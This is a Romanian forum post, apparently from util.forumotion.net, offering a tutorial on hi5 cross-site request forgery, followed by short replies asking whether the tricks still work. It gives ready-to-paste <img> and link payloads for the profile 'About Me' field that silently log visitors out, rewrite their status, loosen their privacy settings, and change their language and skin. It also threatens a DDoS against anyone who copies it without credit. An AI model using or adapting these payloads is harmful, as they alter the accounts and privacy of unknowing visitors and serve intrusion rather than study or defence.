Vulnerabilitati hi5

1. Schimbarea statusului

Logati-va pe contul vostru si accesati urmatorul link: http://hi5.com/friend/profile/editBasic.do

La rubrica "About Me" introduceti urmatorul cod:

Code:

<img src="http://hi5.com/friend/profile/editScrapbookTopicAjax.do?topic=www.util.forumotion.net&editorId=topic">

Toti cei care sunt logati pe hi5 si va vizualizeaza pagina vor avea la status scris cuvantul http://www.util.forumotion.net.

2. Delogarea automata

Logati-va pe contul vostru si accesati urmatorul link: http://hi5.com/friend/profile/editBasic.do

La rubrica "About Me" introduceti urmatorul cod:

Code:

<img src="http://hi5.com/friend/logoff.do">

Cei care sunt logati pe hi5 si va viziteaza profilul vor fi automat delogati de pe contul lor.

3. Manipularea optiunilor din privacy

Logati-va pe contul vostru si accesati urmatorul link: http://hi5.com/friend/profile/editBasic.do

La rubrica "About Me" introduceti urmatorul cod:

Code:

<img src="http://hi5.com/friend/account/editPrivacy.do?opt=profileviewable&value=1&_=">

Cei care sunt logati pe hi5 si va viziteaza profilul vor seta automat (fara sa aiba idee de acest lucru) ca profilul lor sa fie vizibil de oricine.

--------------------------------------

Logati-va pe contul vostru si accesati urmatorul link: http://hi5.com/friend/profile/editBasic.do

La rubrica "About Me" introduceti urmatorul cod:

Code:

<img src="http://hi5.com/friend/account/editPrivacy.do?opt=book
&value=0&_=">

Cei care sunt logati pe hi5 si va viziteaza profilul vor seta automat (fara sa aiba idee de acest lucru) ca orice user sa le poata comenta profilul.

--------------------------------------

Logati-va pe contul vostru si accesati urmatorul link: http://hi5.com/friend/profile/editBasic.do

La rubrica "About Me" introduceti urmatorul cod:

Code:

<img src="http://hi5.com/friend/account/editPrivacy.do?opt=autoacceptprofilecomment&value=0&_=">

Cei care sunt logati pe hi5 si va viziteaza profilul vor seta automat (fara sa aiba idee de acest lucru) ca orice comment sa fie aprobat automat.

--------------------------------------

Logati-va pe contul vostru si accesati urmatorul link: http://hi5.com/friend/profile/editBasic.do

La rubrica "About Me" introduceti urmatorul cod:

Code:

<img src="http://hi5.com/friend/account/editPrivacy.do?opt=friend
&value=0&_=">

Cei care sunt logati pe hi5 si va viziteaza profilul vor seta automat (fara sa aiba idee de acest lucru) ca orice persoana sa le poata face cerere de prietenie.

--------------------------------------

Logati-va pe contul vostru si accesati urmatorul link: http://hi5.com/friend/profile/editBasic.do

La rubrica "About Me" introduceti urmatorul cod:

Code:

<img src="http://hi5.com/friend/account/editPrivacy.do?opt=message&value=0&_=">

Cei care sunt logati pe hi5 si va viziteaza profilul vor seta automat (fara sa aiba idee de acest lucru) ca orice persoana sa le poata trimite mesaj.

--------------------------------------

Logati-va pe contul vostru si accesati urmatorul link: http://hi5.com/friend/profile/editBasic.do

La rubrica "About Me" introduceti urmatorul cod:

Code:

<img src="http://hi5.com/friend/account/editPrivacy.do?opt=five
&value=0&_=">

Cei care sunt logati pe hi5 si va viziteaza profilul vor seta automat (fara sa aiba idee de acest lucru) ca orice persoana sa le poata da un five.

--------------------------------------

Logati-va pe contul vostru si accesati urmatorul link: http://hi5.com/friend/profile/editBasic.do

La rubrica "About Me" introduceti urmatorul cod:

Code:

<img src="http://hi5.com/friend/account/editPrivacy.do?opt=emailpref&value=0&_=">

Cei care sunt logati pe hi5 si va viziteaza profilul vor seta automat (fara sa aiba idee de acest lucru) sa primeasca notificari prin mail

--------------------------------------

Logati-va pe contul vostru si accesati urmatorul link: http://hi5.com/friend/profile/editBasic.do

La rubrica "About Me" introduceti urmatorul cod:

Code:

<img src="http://hi5.com/friend/account/editPrivacy.do?opt=phototaggingallowfriends&value=1&_=">

Cei care sunt logati pe hi5 si va viziteaza profilul vor seta automat (fara sa aiba idee de acest lucru) ca prietenii sa ii poata da tag-uri la poze.

--------------------------------------

Logati-va pe contul vostru si accesati urmatorul link: http://hi5.com/friend/profile/editBasic.do

La rubrica "About Me" introduceti urmatorul cod:

Code:

<img src="http://hi5.com/friend/account/editPrivacy.do?opt=comment&value=0&_=">

Cei care sunt logati pe hi5 si va viziteaza profilul vor seta automat (fara sa aiba idee de acest lucru) ca oricine sa poata face commenturi la poze.

--------------------------------------

Logati-va pe contul vostru si accesati urmatorul link: http://hi5.com/friend/profile/editBasic.do

La rubrica "About Me" introduceti urmatorul cod:

Code:

<img src="http://hi5.com/friend/account/editPrivacy.do?opt=autoacceptphotocomment&value=0&_=">

Cei care sunt logati pe hi5 si va viziteaza profilul vor seta automat (fara sa aiba idee de acest lucru) ca toate commenturile de la poze sa fie aprobate automat.

--------------------------------------

Logati-va pe contul vostru si accesati urmatorul link: http://hi5.com/friend/profile/editBasic.do

La rubrica "About Me" introduceti urmatorul cod:

Code:

<img src="http://hi5.com/friend/account/editPrivacy.do?opt=onlinestatus&value=0&_=">

Cei care sunt logati pe hi5 si va viziteaza profilul vor seta automat (fara sa aiba idee de acest lucru) ca toti userii sa le poata vedea statusul online (cel de la punctul 1 al acestui tutorial)

4. Schimbarea limbii

Logati-va pe contul vostru si accesati urmatorul link: http://hi5.com/friend/profile/editBasic.do

La rubrica "About Me" introduceti urmatorul cod:

Code:

<img src="http://hi5.com/friend/account/editAccountLocale.do
&defaultLanguage=el_GR">

Cei care sunt logati pe hi5 si va viziteaza profilul vor seta automat (fara sa aiba idee de acest lucru) sa aiba profilul scris in greaca.

Lista cu toate limbile disponibile (schimbati el_GR din tagul de mai sus cu extensiile de mai jos in functie de ce limba vreti sa aiba setata vizitatorii):

1. cs_CZ
2. de
3. en
4. es_AR
5. es_ES
6. es_MX
7. fr
8. hu_HU
9. it
10. ja
11. nl
12. pl
13. pt
14. ro
15. ru
16. th_TH
17. tr
18. uk_UA
19. zh_CN
20. zh_TW

Recomand limbile de la punctele 10, 19, 20

4. Schimbarea skinului sau stergerea lui

Logati-va pe contul vostru si accesati urmatorul link: http://hi5.com/friend/profile/editBasic.do

La rubrica "About Me" introduceti urmatorul cod:

Code:

<img src="http://hi5.com/friend/profile/removeSkin.do">

ce va sterge skinul de pe profilul vizitatorilor.

Tot la rubrica "About Me" introduceti:

Code:

<img src="http://hi5.com/friend/profile/selectSkin.do?skinId=13098629">

si automat toti cei care va viziteaza profilul (logati) vor seta automat pe conturile lor skinul respectiv.

Pentru intreaga lista de skinuri intrati la adresa http://hi5.com/friend/account/displayChooseSkin.do si schimbati linkul din tag-uri cu cel de la skinul pe care vreti sa il setati.

TOT CE ESTE PREZENTAT LA PUNCTUL 3 AFECTEAZA DOAR FIREFOX. Pentru a face totusi o versiune functionabila si pentru alte browsere puteti folosi linkuri normale de genul:

Code:

<a href="http://hi5.com/friend/account/editPrivacy.do?opt=book&value=0">DA CLICK AICI</a>

Acestea sunt doar o mica parte din problemele hi5. Vulnerabilitatile grave nu vi le voi prezenta pentru ca ne folosim de ele in alte scopuri mai importante decat stricarea unor profile de ratati.

NU intrebati "cum se face" sau sa va aud ca spuneti "nu merge". Am explicat pentru tot prostul.

Copyright diana - tutorial creeat pentru util.forumotion.net .
Orice folosire a acestui text sau a mijloacelor prezentate in text fara a preciza sursa si/sau autorul va duce la un mare DDOS pe siteurile unde va aparea fara a se respecta aceasta regula

Credite Nemessis

Misto chestie

mai sunt valabile codurile astea ?
ca nu vreau sa ma obosesc incercandule degeaba

Des13 wrote:mai sunt valabile codurile astea ?
ca nu vreau sa ma obosesc incercandule degeaba

mai sunt, dar nu toate

Gy@ny wrote:

Des13 wrote:mai sunt valabile codurile astea ?
ca nu vreau sa ma obosesc incercandule degeaba

mai sunt, dar nu toate

am mai vazut din astea pe un forum anonim .. si mi-am pierdut 2 ore din viata incercandu-le

Des13 wrote:
am mai vazut din astea pe un forum anonim .. si mi-am pierdut 2 ore din viata incercandu-le

eu le`am incercat cand lea postat diana si au mers, dar acum poate nu mai merge